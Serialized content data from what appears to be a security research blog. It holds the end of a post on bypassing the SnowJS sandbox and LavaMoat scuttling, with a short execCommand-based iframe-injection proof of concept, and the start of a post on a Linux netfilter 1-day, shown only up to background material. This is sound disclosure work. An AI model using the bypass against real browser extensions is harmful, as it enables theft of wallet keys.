['srcdoc'],\n};\n",[51945],{"type":21,"tag":78,"props":51946,"children":51947},{"__ignoreMap":7},[51948,51968,51989,52028,52082,52121,52220,52240,52261],{"type":21,"tag":153,"props":51949,"children":51950},{"class":155,"line":156},[51951,51955,51960,51964],{"type":21,"tag":153,"props":51952,"children":51953},{"style":170},[51954],{"type":26,"value":5085},{"type":21,"tag":153,"props":51956,"children":51957},{"style":192},[51958],{"type":26,"value":51959}," map",{"type":21,"tag":153,"props":51961,"children":51962},{"style":198},[51963],{"type":26,"value":255},{"type":21,"tag":153,"props":51965,"children":51966},{"style":160},[51967],{"type":26,"value":236},{"type":21,"tag":153,"props":51969,"children":51970},{"class":155,"line":166},[51971,51976,51980,51985],{"type":21,"tag":153,"props":51972,"children":51973},{"style":192},[51974],{"type":26,"value":51975},"    Range:",{"type":21,"tag":153,"props":51977,"children":51978},{"style":160},[51979],{"type":26,"value":4236},{"type":21,"tag":153,"props":51981,"children":51982},{"style":671},[51983],{"type":26,"value":51984},"'insertNode'",{"type":21,"tag":153,"props":51986,"children":51987},{"style":160},[51988],{"type":26,"value":2912},{"type":21,"tag":153,"props":51990,"children":51991},{"class":155,"line":225},[51992,51997,52001,52006,52010,52015,52019,52024],{"type":21,"tag":153,"props":51993,"children":51994},{"style":192},[51995],{"type":26,"value":51996},"    DocumentFragment:",{"type":21,"tag":153,"props":51998,"children":51999},{"style":160},[52000],{"type":26,"value":4236},{"type":21,"tag":153,"props":52002,"children":52003},{"style":671},[52004],{"type":26,"value":52005},"'replaceChildren'",{"type":21,"tag":153,"props":52007,"children":52008},{"style":160},[52009],{"type":26,"value":1670},{"type":21,"tag":153,"props":52011,"children":52012},{"style":671},[52013],{"type":26,"value":52014},"'append'",{"type":21,"tag":153,"props":52016,"children":52017},{"style":160},[52018],{"type":26,"value":1670},{"type":21,"tag":153,"props":52020,"children":52021},{"style":671},[52022],{"type":26,"value":52023},"'prepend'",{"type":21,"tag":153,"props":52025,"children":52026},{"style":160},[52027],{"type":26,"value":2912},{"type":21,"tag":153,"props":52029,"children":52030},{"class":155,"line":239},[52031,52036,52040,52044,52048,52052,52056,52060,52064,52069,52073,52078],{"type":21,"tag":153,"props":52032,"children":52033},{"style":192},[52034],{"type":26,"value":52035},"    Document:",{"type":21,"tag":153,"props":52037,"children":52038},{"style":160},[52039],{"type":26,"value":4236},{"type":21,"tag":153,"props":52041,"children":52042},{"style":671},[52043],{"type":26,"value":52005},{"type":21,"tag":153,"props":52045,"children":52046},{"style":160},[52047],{"type":26,"value":1670},{"type":21,"tag":153,"props":52049,"children":52050},{"style":671},[52051],{"type":26,"value":52014},{"type":21,"tag":153,"props":52053,"children":52054},{"style":160},[52055],{"type":26,"value":1670},{"type":21,"tag":153,"props":52057,"children":52058},{"style":671},[52059],{"type":26,"value":52023},{"type":21,"tag":153,"props":52061,"children":52062},{"style":160},[52063],{"type":26,"value":1670},{"type":21,"tag":153,"props":52065,"children":52066},{"style":671},[52067],{"type":26,"value":52068},"'write'",{"type":21,"tag":153,"props":52070,"children":52071},{"style":160},[52072],{"type":26,"value":1670},{"type":21,"tag":153,"props":52074,"children":52075},{"style":671},[52076],{"type":26,"value":52077},"'writeln'",{"type":21,"tag":153,"props":52079,"children":52080},{"style":160},[52081],{"type":26,"value":2912},{"type":21,"tag":153,"props":52083,"children":52084},{"class":155,"line":382},[52085,52090,52094,52099,52103,52108,52112,52117],{"type":21,"tag":153,"props":52086,"children":52087},{"style":192},[52088],{"type":26,"value":52089},"    Node:",{"type":21,"tag":153,"props":52091,"children":52092},{"style":160},[52093],{"type":26,"value":4236},{"type":21,"tag":153,"props":52095,"children":52096},{"style":671},[52097],{"type":26,"value":52098},"'appendChild'",{"type":21,"tag":153,"props":52100,"children":52101},{"style":160},[52102],{"type":26,"value":1670},{"type":21,"tag":153,"props":52104,"children":52105},{"style":671},[52106],{"type":26,"value":52107},"'insertBefore'",{"type":21,"tag":153,"props":52109,"children":52110},{"style":160},[52111],{"type":26,"value":1670},{"type":21,"tag":153,"props":52113,"children":52114},{"style":671},[52115],{"type":26,"value":52116},"'replaceChild'",{"type":21,"tag":153,"props":52118,"children":52119},{"style":160},[52120],{"type":26,"value":2912},{"type":21,"tag":153,"props":52122,"children":52123},{"class":155,"line":501},[52124,52129,52133,52138,52142,52147,52151,52156,52160,52165,52169,52174,52178,52182,52186,52191,52195,52199,52203,52208,52212,52216],{"type":21,"tag":153,"props":52125,"children":52126},{"style":192},[52127],{"type":26,"value":52128},"    Element:",{"type":21,"tag":153,"props":52130,"children":52131},{"style":160},[52132],{"type":26,"value":4236},{"type":21,"tag":153,"props":52134,"children":52135},{"style":671},[52136],{"type":26,"value":52137},"'innerHTML'",{"type":21,"tag":153,"props":52139,"children":52140},{"style":160},[52141],{"type":26,"value":1670},{"type":21,"tag":153,"props":52143,"children":52144},{"style":671},[52145],{"type":26,"value":52146},"'outerHTML'",{"type":21,"tag":153,"props":52148,"children":52149},{"style":160},[52150],{"type":26,"value":1670},{"type":21,"tag":153,"props":52152,"children":52153},{"style":671},[52154],{"type":26,"value":52155},"'insertAdjacentHTML'",{"type":21,"tag":153,"props":52157,"children":52158},{"style":160},[52159],{"type":26,"value":1670},{"type":21,"tag":153,"props":52161,"children":52162},{"style":671},[52163],{"type":26,"value":52164},"'replaceWith'",{"type":21,"tag":153,"props":52166,"children":52167},{"style":160},[52168],{"type":26,"value":1670},{"type":21,"tag":153,"props":52170,"children":52171},{"style":671},[52172],{"type":26,"value":52173},"'insertAdjacentElement'",{"type":21,"tag":153,"props":52175,"children":52176},{"style":160},[52177],{"type":26,"value":1670},{"type":21,"tag":153,"props":52179,"children":52180},{"style":671},[52181],{"type":26,"value":52014},{"type":21,"tag":153,"props":52183,"children":52184},{"style":160},[52185],{"type":26,"value":1670},{"type":21,"tag":153,"props":52187,"children":52188},{"style":671},[52189],{"type":26,"value":52190},"'before'",{"type":21,"tag":153,"props":52192,"children":52193},{"style":160},[52194],{"type":26,"value":1670},{"type":21,"tag":153,"props":52196,"children":52197},{"style":671},[52198],{"type":26,"value":52023},{"type":21,"tag":153,"props":52200,"children":52201},{"style":160},[52202],{"type":26,"value":1670},{"type":21,"tag":153,"props":52204,"children":52205},{"style":671},[52206],{"type":26,"value":52207},"'after'",{"type":21,"tag":153,"props":52209,"children":52210},{"style":160},[52211],{"type":26,"value":1670},{"type":21,"tag":153,"props":52213,"children":52214},{"style":671},[52215],{"type":26,"value":52005},{"type":21,"tag":153,"props":52217,"children":52218},{"style":160},[52219],{"type":26,"value":2912},{"type":21,"tag":153,"props":52221,"children":52222},{"class":155,"line":533},[52223,52228,52232,52236],{"type":21,"tag":153,"props":52224,"children":52225},{"style":192},[52226],{"type":26,"value":52227},"    ShadowRoot:",{"type":21,"tag":153,"props":52229,"children":52230},{"style":160},[52231],{"type":26,"value":4236},{"type":21,"tag":153,"props":52233,"children":52234},{"style":671},[52235],{"type":26,"value":52137},{"type":21,"tag":153,"props":52237,"children":52238},{"style":160},[52239],{"type":26,"value":2912},{"type":21,"tag":153,"props":52241,"children":52242},{"class":155,"line":542},[52243,52248,52252,52257],{"type":21,"tag":153,"props":52244,"children":52245},{"style":192},[52246],{"type":26,"value":52247},"    HTMLIFrameElement:",{"type":21,"tag":153,"props":52249,"children":52250},{"style":160},[52251],{"type":26,"value":4236},{"type":21,"tag":153,"props":52253,"children":52254},{"style":671},[52255],{"type":26,"value":52256},"'srcdoc'",{"type":21,"tag":153,"props":52258,"children":52259},{"style":160},[52260],{"type":26,"value":2912},{"type":21,"tag":153,"props":52262,"children":52263},{"class":155,"line":762},[52264],{"type":21,"tag":153,"props":52265,"children":52266},{"style":160},[52267],{"type":26,"value":19275},{"type":21,"tag":22,"props":52269,"children":52270},{},[52271],{"type":26,"value":52272},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":21,"tag":22,"props":52274,"children":52275},{},[52276],{"type":26,"value":52277},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":21,"tag":114,"props":52279,"children":52281},{"id":52280},"bypassing-snowjs",[52282],{"type":26,"value":52283},"Bypassing SnowJS",{"type":21,"tag":22,"props":52285,"children":52286},{},[52287,52289,52300,52302,52308],{"type":26,"value":52288},"The deprecated ",{"type":21,"tag":29,"props":52290,"children":52293},{"href":52291,"rel":52292},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[33],[52294],{"type":21,"tag":78,"props":52295,"children":52297},{"className":52296},[],[52298],{"type":26,"value":52299},"document.execCommand",{"type":26,"value":52301}," function is used to execute commands inside a ",{"type":21,"tag":78,"props":52303,"children":52305},{"className":52304},[],[52306],{"type":26,"value":52307},"contenteditable",{"type":26,"value":52309}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":21,"tag":143,"props":52311,"children":52314},{"className":52312,"code":52313,"language":35076,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[52315],{"type":21,"tag":78,"props":52316,"children":52317},{"__ignoreMap":7},[52318],{"type":21,"tag":153,"props":52319,"children":52320},{"class":155,"line":156},[52321,52325,52329,52333,52337,52342,52347,52352,52357,52361],{"type":21,"tag":153,"props":52322,"children":52323},{"style":35069},[52324],{"type":26,"value":8537},{"type":21,"tag":153,"props":52326,"children":52327},{"style":170},[52328],{"type":26,"value":34041},{"type":21,"tag":153,"props":52330,"children":52331},{"style":192},[52332],{"type":26,"value":35149},{"type":21,"tag":153,"props":52334,"children":52335},{"style":160},[52336],{"type":26,"value":2367},{"type":21,"tag":153,"props":52338,"children":52339},{"style":671},[52340],{"type":26,"value":52341},"test",{"type":21,"tag":153,"props":52343,"children":52344},{"style":192},[52345],{"type":26,"value":52346}," contenteditable",{"type":21,"tag":153,"props":52348,"children":52349},{"style":192},[52350],{"type":26,"value":52351}," autofocus",{"type":21,"tag":153,"props":52353,"children":52354},{"style":35069},[52355],{"type":26,"value":52356},">\u003C/",{"type":21,"tag":153,"props":52358,"children":52359},{"style":170},[52360],{"type":26,"value":34041},{"type":21,"tag":153,"props":52362,"children":52363},{"style":35069},[52364],{"type":26,"value":4308},{"type":21,"tag":22,"props":52366,"children":52367},{},[52368,52370,52376,52378,52383],{"type":26,"value":52369},"After inserting this element to a page, it is possible to use ",{"type":21,"tag":78,"props":52371,"children":52373},{"className":52372},[],[52374],{"type":26,"value":52375},"insertHTML",{"type":26,"value":52377}," command of ",{"type":21,"tag":78,"props":52379,"children":52381},{"className":52380},[],[52382],{"type":26,"value":52299},{"type":26,"value":52384}," to add a non-sandboxed iframe.",{"type":21,"tag":143,"props":52386,"children":52388},{"className":34058,"code":52387,"language":34060,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[52389],{"type":21,"tag":78,"props":52390,"children":52391},{"__ignoreMap":7},[52392],{"type":21,"tag":153,"props":52393,"children":52394},{"class":155,"line":156},[52395,52399,52403,52408,52412,52417,52421,52425,52429,52434],{"type":21,"tag":153,"props":52396,"children":52397},{"style":192},[52398],{"type":26,"value":35401},{"type":21,"tag":153,"props":52400,"children":52401},{"style":160},[52402],{"type":26,"value":355},{"type":21,"tag":153,"props":52404,"children":52405},{"style":181},[52406],{"type":26,"value":52407},"execCommand",{"type":21,"tag":153,"props":52409,"children":52410},{"style":160},[52411],{"type":26,"value":189},{"type":21,"tag":153,"props":52413,"children":52414},{"style":671},[52415],{"type":26,"value":52416},"'insertHTML'",{"type":21,"tag":153,"props":52418,"children":52419},{"style":160},[52420],{"type":26,"value":1670},{"type":21,"tag":153,"props":52422,"children":52423},{"style":170},[52424],{"type":26,"value":10901},{"type":21,"tag":153,"props":52426,"children":52427},{"style":160},[52428],{"type":26,"value":1670},{"type":21,"tag":153,"props":52430,"children":52431},{"style":671},[52432],{"type":26,"value":52433},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":21,"tag":153,"props":52435,"children":52436},{"style":160},[52437],{"type":26,"value":530},{"type":21,"tag":114,"props":52439,"children":52441},{"id":52440},"impact-on-lavamoat-scuttling",[52442],{"type":26,"value":52443},"Impact On Lavamoat Scuttling",{"type":21,"tag":22,"props":52445,"children":52446},{},[52447],{"type":26,"value":52448},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":21,"tag":22,"props":52450,"children":52451},{},[52452,52454,52459,52461,52466],{"type":26,"value":52453},"For the exploit, the only used functions are in ",{"type":21,"tag":78,"props":52455,"children":52457},{"className":52456},[],[52458],{"type":26,"value":35401},{"type":26,"value":52460}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":21,"tag":78,"props":52462,"children":52464},{"className":52463},[],[52465],{"type":26,"value":40110},{"type":26,"value":52467}," object.",{"type":21,"tag":22,"props":52469,"children":52470},{},[52471,52473,52478],{"type":26,"value":52472},"Consider this example, which runs a scuttled ",{"type":21,"tag":78,"props":52474,"children":52476},{"className":52475},[],[52477],{"type":26,"value":35391},{"type":26,"value":28165},{"type":21,"tag":143,"props":52480,"children":52482},{"className":34058,"code":52481,"language":34060,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[52483],{"type":21,"tag":78,"props":52484,"children":52485},{"__ignoreMap":7},[52486,52522,52559,52602],{"type":21,"tag":153,"props":52487,"children":52488},{"class":155,"line":156},[52489,52493,52497,52501,52505,52509,52513,52518],{"type":21,"tag":153,"props":52490,"children":52491},{"style":192},[52492],{"type":26,"value":35401},{"type":21,"tag":153,"props":52494,"children":52495},{"style":160},[52496],{"type":26,"value":355},{"type":21,"tag":153,"props":52498,"children":52499},{"style":192},[52500],{"type":26,"value":35093},{"type":21,"tag":153,"props":52502,"children":52503},{"style":160},[52504],{"type":26,"value":355},{"type":21,"tag":153,"props":52506,"children":52507},{"style":192},[52508],{"type":26,"value":37666},{"type":21,"tag":153,"props":52510,"children":52511},{"style":198},[52512],{"type":26,"value":255},{"type":21,"tag":153,"props":52514,"children":52515},{"style":671},[52516],{"type":26,"value":52517}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":21,"tag":153,"props":52519,"children":52520},{"style":160},[52521],{"type":26,"value":1759},{"type":21,"tag":153,"props":52523,"children":52524},{"class":155,"line":166},[52525,52529,52533,52537,52541,52546,52550,52555],{"type":21,"tag":153,"props":52526,"children":52527},{"style":192},[52528],{"type":26,"value":35401},{"type":21,"tag":153,"props":52530,"children":52531},{"style":160},[52532],{"type":26,"value":355},{"type":21,"tag":153,"props":52534,"children":52535},{"style":181},[52536],{"type":26,"value":37691},{"type":21,"tag":153,"props":52538,"children":52539},{"style":160},[52540],{"type":26,"value":189},{"type":21,"tag":153,"props":52542,"children":52543},{"style":671},[52544],{"type":26,"value":52545},"'test'",{"type":21,"tag":153,"props":52547,"children":52548},{"style":160},[52549],{"type":26,"value":23436},{"type":21,"tag":153,"props":52551,"children":52552},{"style":181},[52553],{"type":26,"value":52554},"focus",{"type":21,"tag":153,"props":52556,"children":52557},{"style":160},[52558],{"type":26,"value":839},{"type":21,"tag":153,"props":52560,"children":52561},{"class":155,"line":225},[52562,52566,52570,52574,52578,52582,52586,52590,52594,52598],{"type":21,"tag":153,"props":52563,"children":52564},{"style":192},[52565],{"type":26,"value":35401},{"type":21,"tag":153,"props":52567,"children":52568},{"style":160},[52569],{"type":26,"value":355},{"type":21,"tag":153,"props":52571,"children":52572},{"style":181},[52573],{"type":26,"value":52407},{"type":21,"tag":153,"props":52575,"children":52576},{"style":160},[52577],{"type":26,"value":189},{"type":21,"tag":153,"props":52579,"children":52580},{"style":671},[52581],{"type":26,"value":52416},{"type":21,"tag":153,"props":52583,"children":52584},{"style":160},[52585],{"type":26,"value":1670},{"type":21,"tag":153,"props":52587,"children":52588},{"style":170},[52589],{"type":26,"value":10901},{"type":21,"tag":153,"props":52591,"children":52592},{"style":160},[52593],{"type":26,"value":1670},{"type":21,"tag":153,"props":52595,"children":52596},{"style":671},[52597],{"type":26,"value":52433},{"type":21,"tag":153,"props":52599,"children":52600},{"style":160},[52601],{"type":26,"value":530},{"type":21,"tag":153,"props":52603,"children":52604},{"class":155,"line":239},[52605,52609,52613,52618,52622,52626,52631,52635,52640,52645,52649,52653,52657,52661,52665,52669],{"type":21,"tag":153,"props":52606,"children":52607},{"style":192},[52608],{"type":26,"value":35401},{"type":21,"tag":153,"props":52610,"children":52611},{"style":160},[52612],{"type":26,"value":355},{"type":21,"tag":153,"props":52614,"children":52615},{"style":181},[52616],{"type":26,"value":52617},"getElementsByTagName",{"type":21,"tag":153,"props":52619,"children":52620},{"style":160},[52621],{"type":26,"value":189},{"type":21,"tag":153,"props":52623,"children":52624},{"style":671},[52625],{"type":26,"value":39423},{"type":21,"tag":153,"props":52627,"children":52628},{"style":160},[52629],{"type":26,"value":52630},")[",{"type":21,"tag":153,"props":52632,"children":52633},{"style":300},[52634],{"type":26,"value":2996},{"type":21,"tag":153,"props":52636,"children":52637},{"style":160},[52638],{"type":26,"value":52639},"].",{"type":21,"tag":153,"props":52641,"children":52642},{"style":192},[52643],{"type":26,"value":52644},"contentWindow",{"type":21,"tag":153,"props":52646,"children":52647},{"style":160},[52648],{"type":26,"value":355},{"type":21,"tag":153,"props":52650,"children":52651},{"style":181},[52652],{"type":26,"value":35391},{"type":21,"tag":153,"props":52654,"children":52655},{"style":160},[52656],{"type":26,"value":189},{"type":21,"tag":153,"props":52658,"children":52659},{"style":192},[52660],{"type":26,"value":35401},{"type":21,"tag":153,"props":52662,"children":52663},{"style":160},[52664],{"type":26,"value":355},{"type":21,"tag":153,"props":52666,"children":52667},{"style":192},[52668],{"type":26,"value":35411},{"type":21,"tag":153,"props":52670,"children":52671},{"style":160},[52672],{"type":26,"value":530},{"type":21,"tag":114,"props":52674,"children":52676},{"id":52675},"snowjs-patch",[52677],{"type":26,"value":52678},"SnowJS Patch",{"type":21,"tag":22,"props":52680,"children":52681},{},[52682,52684,52691,52693,52700],{"type":26,"value":52683},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":21,"tag":29,"props":52685,"children":52688},{"href":52686,"rel":52687},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[33],[52689],{"type":26,"value":52690},"browser feature within W3C standards",{"type":26,"value":52692},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":21,"tag":29,"props":52694,"children":52697},{"href":52695,"rel":52696},"https://github.com/weizman/Realms-Initialization-Control",[33],[52698],{"type":26,"value":52699},"Here",{"type":26,"value":52701}," is their new proposal.",{"type":21,"tag":66,"props":52703,"children":52705},{"id":52704},"chaining-the-impacts",[52706],{"type":26,"value":52707},"Chaining The Impacts",{"type":21,"tag":22,"props":52709,"children":52710},{},[52711],{"type":26,"value":52712},"We were able to find two vulnerabilities in lavamoat project:",{"type":21,"tag":126,"props":52714,"children":52715},{},[52716,52721],{"type":21,"tag":91,"props":52717,"children":52718},{},[52719],{"type":26,"value":52720},"Policy File Bypass",{"type":21,"tag":91,"props":52722,"children":52723},{},[52724],{"type":26,"value":52725},"Scuttling Bypass",{"type":21,"tag":22,"props":52727,"children":52728},{},[52729],{"type":26,"value":52730},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":21,"tag":22,"props":52732,"children":52733},{},[52734],{"type":26,"value":52735},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":21,"tag":66,"props":52737,"children":52738},{"id":5568},[52739],{"type":26,"value":5571},{"type":21,"tag":22,"props":52741,"children":52742},{},[52743],{"type":26,"value":52744},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":21,"tag":34041,"props":52746,"children":52747},{"style":34043},[52748],{"type":21,"tag":3644,"props":52749,"children":52752},{"src":52750,"alt":52751,"style":34049},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":21,"tag":21119,"props":52754,"children":52756},{"className":52755,"dataFootnotes":7},[21122],[52757,52762],{"type":21,"tag":66,"props":52758,"children":52760},{"className":52759,"id":18178},[21127],[52761],{"type":26,"value":21130},{"type":21,"tag":126,"props":52763,"children":52764},{},[52765],{"type":21,"tag":91,"props":52766,"children":52767},{"id":33060},[52768,52770,52777,52778],{"type":26,"value":52769},"Excluding SES, which was covered ",{"type":21,"tag":29,"props":52771,"children":52774},{"href":52772,"rel":52773},"https://osec.io/blog/2023-11-01-metamask-snaps",[33],[52775],{"type":26,"value":52776},"in our last article",{"type":26,"value":9187},{"type":21,"tag":29,"props":52779,"children":52781},{"href":33088,"ariaLabel":21233,"className":52780,"dataFootnoteBackref":7},[21235],[52782],{"type":26,"value":21238},{"type":21,"tag":5603,"props":52784,"children":52785},{},[52786],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":52788},[52789,52793,52799,52805,52806,52807],{"id":68,"depth":166,"text":71,"children":52790},[52791,52792],{"id":31710,"depth":225,"text":31713},{"id":49410,"depth":225,"text":49413},{"id":50166,"depth":166,"text":50169,"children":52794},[52795,52796,52797,52798],{"id":50417,"depth":225,"text":50420},{"id":50892,"depth":225,"text":50895},{"id":51549,"depth":225,"text":51552},{"id":51672,"depth":225,"text":51675},{"id":51790,"depth":166,"text":51793,"children":52800},[52801,52802,52803,52804],{"id":51918,"depth":225,"text":51921},{"id":52280,"depth":225,"text":52283},{"id":52440,"depth":225,"text":52443},{"id":52675,"depth":225,"text":52678},{"id":52704,"depth":166,"text":52707},{"id":5568,"depth":166,"text":5571},{"id":18178,"depth":166,"text":21130},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":52812,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":52813,"description":52814,"author":52815,"image":52816,"date":52818,"isFeatured":16,"tags":52819,"onBlogPage":16,"body":52822,"_type":5619,"_id":63203,"_source":5621,"_file":63204,"_stem":63205,"_extension":5624},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":52817,"height":11987,"width":8454},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[52820,52821],"kernal","linux",{"type":18,"children":52823,"toc":63171},[52824,52837,52851,52856,52862,52872,52877,52883,52888,52906,52920,52929,52962,52967,52973,52992,53025,53031,53044,53254,53321,53885,53904,54129,54188,54194,54214,54254,54442,54447,54598,54654,54659,55173,55192,55461,55487,55996,56063,56069,56105,56110,56376,56409,56421,56448,56460,56465,56471,56492,56498,56519,56542,57374,57380,57420,57960,57971,58005,58072,58126,58358,58364,58408,58872,58878,58889,58919,59002,59007,59012,59048,59100,59131,59686,59692,59709,59715,59720,59726,59754,59947,59967,59983,60578,60584,60619,60642,60654,60660,60688,61285,61310,62279,62290,62303,62316,63082,63096,63102,63114,63120,63148,63153,63157,63162,63167],{"type":21,"tag":22,"props":52825,"children":52826},{},[52827,52829,52836],{"type":26,"value":52828},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":21,"tag":29,"props":52830,"children":52833},{"href":52831,"rel":52832},"https://google.github.io/security-research/kernelctf/rules.html",[33],[52834],{"type":26,"value":52835},"KernelCTF VRP",{"type":26,"value":355},{"type":21,"tag":22,"props":52838,"children":52839},{},[52840,52842,52849],{"type":26,"value":52841},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":21,"tag":29,"props":52843,"children":52846},{"href":52844,"rel":52845},"https://github.com/conlonialC",[33],[52847],{"type":26,"value":52848},"lonial con",{"type":26,"value":52850},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":21,"tag":22,"props":52852,"children":52853},{},[52854],{"type":26,"value":52855},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":21,"tag":66,"props":52857,"children":52859},{"id":52858},"the-kernel",[52860],{"type":26,"value":52861},"The kernel",{"type":21,"tag":22,"props":52863,"children":52864},{},[52865,52867],{"type":26,"value":52866},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":21,"tag":3644,"props":52868,"children":52871},{"alt":52869,"src":52870},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":21,"tag":22,"props":52873,"children":52874},{},[52875],{"type":26,"value":52876},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":21,"tag":114,"props":52878,"children":52880},{"id":52879},"kernel-exploitation",[52881],{"type":26,"value":52882},"Kernel exploitation",{"type":21,"tag":22,"props":52884,"children":52885},{},[52886],{"type":26,"value":52887},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":21,"tag":87,"props":52889,"children":52890},{},[52891,52896,52901],{"type":21,"tag":91,"props":52892,"children":52893},{},[52894],{"type":26,"value":52895},"Trigger some memory corruption in some kernel subsystem",{"type":21,"tag":91,"props":52897,"children":52898},{},[52899],{"type":26,"value":52900},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":21,"tag":91,"props":52902,"children":52903},{},[52904],{"type":26,"value":52905},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":21,"tag":22,"props":52907,"children":52908},{},[52909,52911,52918],{"type":26,"value":52910},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":21,"tag":29,"props":52912,"children":52915},{"href":52913,"rel":52914},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[33],[52916],{"type":26,"value":52917},"blog post",{"type":26,"value":52919}," to become more familiar with the topic.",{"type":21,"tag":66,"props":52921,"children":52923},{"id":52922},"nf_tables",[52924],{"type":21,"tag":78,"props":52925,"children":52927},{"className":52926},[],[52928],{"type":26,"value":52922},{"type":21,"tag":22,"props":52930,"children":52931},{},[52932,52937,52939,52945,52946,52952,52954,52960],{"type":21,"tag":78,"props":52933,"children":52935},{"className":52934},[],[52936],{"type":26,"value":52922},{"type":26,"value":52938}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":21,"tag":29,"props":52940,"children":52943},{"href":52941,"rel":52942},"https://pwning.tech/nftables",[33],[52944],{"type":26,"value":3033},{"type":26,"value":1670},{"type":21,"tag":29,"props":52947,"children":52950},{"href":52948,"rel":52949},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[33],[52951],{"type":26,"value":5873},{"type":26,"value":52953},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":21,"tag":78,"props":52955,"children":52957},{"className":52956},[],[52958],{"type":26,"value":52959},"nf_table",{"type":26,"value":52961}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":21,"tag":22,"props":52963,"children":52964},{},[52965],{"type":26,"value":52966},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":21,"tag":114,"props":52968,"children":52970},{"id":52969},"transactions",[52971],{"type":26,"value":52972},"Transactions",{"type":21,"tag":22,"props":52974,"children":52975},{},[52976,52978,52983,52985,52990],{"type":26,"value":52977},"A transaction is an interaction that updates ",{"type":21,"tag":78,"props":52979,"children":52981},{"className":52980},[],[52982],{"type":26,"value":52922},{"type":26,"value":52984}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":21,"tag":78,"props":52986,"children":52988},{"className":52987},[],[52989],{"type":26,"value":52922},{"type":26,"value":52991}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":21,"tag":87,"props":52993,"children":52994},{},[52995,53005,53015],{"type":21,"tag":91,"props":52996,"children":52997},{},[52998,53003],{"type":21,"tag":8055,"props":52999,"children":53000},{},[53001],{"type":26,"value":53002},"Control plane",{"type":26,"value":53004},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":21,"tag":91,"props":53006,"children":53007},{},[53008,53013],{"type":21,"tag":8055,"props":53009,"children":53010},{},[53011],{"type":26,"value":53012},"Commit path",{"type":26,"value":53014},"\nAfter the control plane, if 